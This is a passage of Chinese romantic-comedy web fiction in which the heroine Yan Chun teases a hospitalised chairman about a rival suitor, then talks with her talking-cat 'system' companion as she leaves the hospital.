“你怎么知道?” “因为我是男的。”涂腾说,“男的送花,只有一个意思。” 留念念的脸更红了,红得像果篮里的车厘子。她低下头,头发垂下来,遮住了半张脸。 颜淳在旁边鼓掌。 “好!涂董分析到位!逻辑清晰!不愧是董事长!” 涂腾和留念念同时看向她。 “小颜,你能不能不要每次都在这种时候插嘴?” “不能。”颜淳从果篮里拿出一个山竹,掰开,“这是关键时刻,我得记录一下。” 她掏出手机,打开备忘录,打字:“涂董首次表达对青梅竹马的敌意,用时三秒,反应速度优秀。” 涂腾深吸一口气。这次他没有咳嗽。 “你出去。” “不出。”颜淳把山竹塞进嘴里,白色的果肉在齿间裂开,酸甜的汁水溢出来,“我果篮还没吃完呢。” 她看了看那个巨大的果篮。榴莲、芒果、山竹、车厘子、莲雾……够她吃一星期的。 涂腾看着她吃山竹的样子,嘴唇动了动,想说什么,又咽了回去。 留念念在旁边小声说:“颜姐,你真的不怕涂董扣你工资?” “他扣不了。”颜淳说,“我是老董事长的人。” 涂腾闭上眼睛,靠在枕头上。阳光从他脸上移开了,他的脸又恢复了那种病态的白。 “小颜。” “嗯?” “那个林逸风,长什么样?” 颜淳想了想。 “比你矮半个头。比你白一个度。笑起来有两个酒窝。穿白色卫衣像大学生。”她把山竹壳扔进垃圾桶,“总之,跟你不是一个类型。” 涂腾睁开眼睛,看着她。 “什么意思?” “意思是,各有千秋。”颜淳站起来,拍了拍手上的碎屑,“涂董,您好好养病。林逸风的事,不急。反正念念现在在医院陪您,他抢不走。” 留念念的脸又红了。 涂腾看了一眼留念念,嘴角微微翘了一下。 “你说得对。” “那当然。”颜淳拎起包,“我走了。明天再来。果篮我带走一半,剩下的你们吃。” “你不是说来探病的吗?”涂腾说。 “探完了。”颜淳从果篮里挑了几个山竹和车厘子,装进包里,“病人看过了,果篮吃过了,生意谈过了。完美。” 她走到门口,回头看了一眼。 涂腾正看着留念念。留念念正低头削另一个苹果。阳光从窗户照进来,落在两个人之间。 颜淳嘴角翘了翘,关上了门。 走廊里很安静。护士站的小护士正在低头写病历,笔尖在纸上沙沙作响。 颜淳走到电梯口,按了下行键。电梯门上的数字从一楼慢慢往上跳。 “宿主,林逸风的事,您不告诉涂董更多信息吗?”小猫咪问。 “不用。”颜淳说,“让他自己发现。” “为什么?” “因为自己发现的,比别人告诉的,更让人紧张。” 电梯门开了。颜淳走进去,门关上。 电梯开始下降。楼层数字一个一个往下跳:11、10、9、8…… “而且,”颜淳对着电梯里的镜子说,“林逸风这个人,比涂腾想象的有意思多了。” 镜子里的人嘴角翘着,眼睛里带着一种看好戏的光。 “宿主,您是不是又打算搞事情?” “不是搞事情。”颜淳说,“是看戏。” “有什么区别?” “搞事情是我动手。看戏是他们动手。”电梯到了一楼,门开了,“我只负责吃瓜。” 她走出医院大门,阳光刺眼。六月的风热乎乎的,吹在脸上像有人拿着吹风机对着你吹。 小电驴还停在门口,果篮歪在车把上,那只醉酒的蝴蝶在风中扑腾。 颜淳骑上车,拧动油门。 身后,医院的大楼在阳光下白得发亮。十二楼的某个窗户后面,一个霸道总裁正在吃苹果,一个前台正在削苹果。 而她不知道的是——或者说,她知道但没说——林逸风今天下午已经到公司报到了。此刻,他正站在前台,跟王姐聊天,笑容灿烂得像六月的阳光。 两个男人,一个女人。